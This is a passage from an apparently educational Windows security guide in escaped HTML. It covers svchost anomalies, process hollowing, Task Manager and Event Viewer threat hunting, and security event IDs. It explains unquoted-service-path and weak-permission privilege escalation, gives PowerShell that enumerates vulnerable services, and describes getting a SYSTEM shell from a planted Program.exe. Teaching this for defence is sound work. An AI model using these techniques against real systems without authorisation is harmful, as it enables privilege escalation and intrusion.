    &lt;/span&gt;&lt;span class="nv"&gt;$services&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ProcessId&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$pid&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PSCustomObject&lt;/span&gt;&lt;span class="p"&gt;]@{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;PID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$pid&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;Services&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$services&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;join&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;", "&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-Table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Wrap&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# CRITICAL CHECKS for each svchost.exe:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# 1. Must run from C:\Windows\System32\svchost.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# 2. Must be spawned by services.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# 3. Must have -k &amp;lt;group_name&amp;gt; parameter&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Any svchost.exe that fails these checks is suspicious&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Process Hollowing with svchost.exe:&lt;/strong&gt;&lt;br&gt;
Attackers commonly create a legitimate svchost.exe process in suspended state, then replace its memory contents with malicious code before resuming it. This results in malicious code running inside what appears to be a legitimate system process. Modern EDR products detect this by monitoring for process creation followed by memory writes from an external process.&lt;/p&gt;
&lt;h3&gt;
  
  
  5.4 Service Permissions — The Privilege Escalation Surface
&lt;/h3&gt;

&lt;p&gt;Services that run as SYSTEM but have insecure permissions are a primary Windows privilege escalation vector:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Unquoted Service Path:&lt;/strong&gt;&lt;br&gt;
If a service's &lt;code&gt;ImagePath&lt;/code&gt; contains spaces and is not quoted, Windows searches for the executable in multiple locations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Unquoted path: C:\Program Files\Vulnerable Service\service.exe

Windows searches in order:
1. C:\Program.exe          ← If this exists, it runs as SYSTEM!
2. C:\Program Files\Vulnerable.exe
3. C:\Program Files\Vulnerable Service\service.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an attacker can write to &lt;code&gt;C:\&lt;/code&gt; (often possible for non-admin users), they place a malicious &lt;code&gt;Program.exe&lt;/code&gt; there. Next service restart = SYSTEM shell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find unquoted service paths&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; 
    &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;PathName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-notmatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'^"'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;PathName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PathName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartMode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartName&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Weak Service Binary Permissions:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find services where users can modify the binary&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;PathName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-split&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'"'&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;PathName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-split&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Test-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$acl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-Acl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$acl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Access&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;IdentityReference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Everyone|BUILTIN\\Users|BUILTIN\\Authenticated"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-and&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;FileSystemRights&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Write|Modify|FullControl"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt; writable by &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;IdentityReference&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Task Manager, Event Viewer, msconfig
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 Task Manager — Beyond Ctrl+Alt+Delete
&lt;/h3&gt;

&lt;p&gt;Task Manager (&lt;code&gt;taskmgr.exe&lt;/code&gt;) is the most accessible process monitoring tool. But most users use only 10% of its capability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Processes Tab — What to Look For:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Command line equivalent with more detail:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CPU&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;WorkingSet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; 
    &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;N&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'ParentPID'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;E&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{(&lt;/span&gt;&lt;span class="n"&gt;Get-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ProcessId=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Id&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ParentProcessId&lt;/span&gt;&lt;span class="p"&gt;}},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Sort&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CPU&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Descending&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key columns to enable&lt;/strong&gt; (right-click column headers):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PID&lt;/strong&gt; — Always enable this&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Publisher&lt;/strong&gt; — Is this binary signed by Microsoft or a known vendor?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Command Line&lt;/strong&gt; — Reveals arguments passed to the process&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CPU Time&lt;/strong&gt; — Cumulative, not just current usage&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Details Tab — The Real Information:&lt;/strong&gt;&lt;br&gt;
The Details tab shows all processes including those not tied to a user session. Enable columns: PID, Session, CPU, Memory, Description, Image Path, Command Line.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What anomalies look like in Task Manager:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;svchost.exe&lt;/code&gt; running from anything other than &lt;code&gt;C:\Windows\System32\&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;explorer.exe&lt;/code&gt; running with an unusual parent (should be &lt;code&gt;userinit.exe&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Multiple instances of processes that should be unique (&lt;code&gt;lsass.exe&lt;/code&gt;, &lt;code&gt;winlogon.exe&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Processes with no description or publisher (legitimate Microsoft processes always have these)&lt;/li&gt;
&lt;li&gt;Processes consuming high CPU with no obvious reason&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  6.2 Event Viewer — The Security Audit Trail
&lt;/h3&gt;

&lt;p&gt;Event Viewer (&lt;code&gt;eventvwr.msc&lt;/code&gt;) is where Windows records everything. For security professionals, it is the primary forensic record.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Event Log Structure:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Windows Logs:
├── Application    — Application errors and information
├── Security       — Authentication, authorisation, policy changes
├── Setup          — Windows installation events
├── System         — OS component events
└── Forwarded Events — Aggregated from other machines

Applications and Services Logs:
├── Microsoft\Windows\PowerShell\Operational  ← Critical for threat hunting
├── Microsoft\Windows\Sysmon\Operational      ← Best Windows telemetry (if installed)
├── Microsoft\Windows\TaskScheduler\Operational
├── Microsoft\Windows\WMI-Activity\Operational
└── ... hundreds more
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Critical Security Event IDs — Memorise These:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event ID&lt;/th&gt;
&lt;th&gt;Log&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Why It Matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4624&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Successful logon&lt;/td&gt;
&lt;td&gt;Who logged in, from where, with what method&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4625&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Failed logon&lt;/td&gt;
&lt;td&gt;Brute force attempts, invalid credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4648&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Logon with explicit credentials&lt;/td&gt;
&lt;td&gt;Pass-the-Hash, RunAs, credential-based lateral movement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4634/4647&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Logoff&lt;/td&gt;
&lt;td&gt;Session duration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4672&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Special privileges assigned to new logon&lt;/td&gt;
&lt;td&gt;Admin-equivalent logon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4688&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;New process created&lt;/td&gt;
&lt;td&gt;Process execution audit (requires policy change)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4689&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Process terminated&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4698&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Scheduled task created&lt;/td&gt;
&lt;td&gt;Common persistence mechanism&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4699&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Scheduled task deleted&lt;/td&gt;
&lt;td&gt;Covering tracks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4702&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Scheduled task updated&lt;/td&gt;
&lt;td&gt;Modifying persistence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4720&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;User account created&lt;/td&gt;
&lt;td&gt;New account creation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4722&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;User account enabled&lt;/td&gt;
&lt;td&gt;Enabling disabled accounts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4723/4724&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Password change/reset&lt;/td&gt;
&lt;td&gt;Credential changes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4728/4732/4756&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;User added to security group&lt;/td&gt;
&lt;td&gt;Privilege escalation via group membership&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4756&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Member added to universal group&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4768&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Kerberos TGT requested&lt;/td&gt;
&lt;td&gt;Authentication events&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4769&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Kerberos service ticket requested&lt;/td&gt;
&lt;td&gt;Kerberoasting detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4771&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Kerberos pre-auth failed&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4776&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;NTLM authentication&lt;/td&gt;
&lt;td&gt;Pass-the-Hash detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;7045&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;System&lt;/td&gt;
&lt;td&gt;New service installed&lt;/td&gt;
&lt;td&gt;Malware installing as service&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;1102&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Audit log cleared&lt;/td&gt;
&lt;td&gt;Attacker covering tracks — IMMEDIATE ALERT&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Query specific event IDs&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4624&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4625&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;StartTime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Date&lt;/span&gt;&lt;span class="err"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;AddDays&lt;/span&gt;&lt;span class="err"&gt;(-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
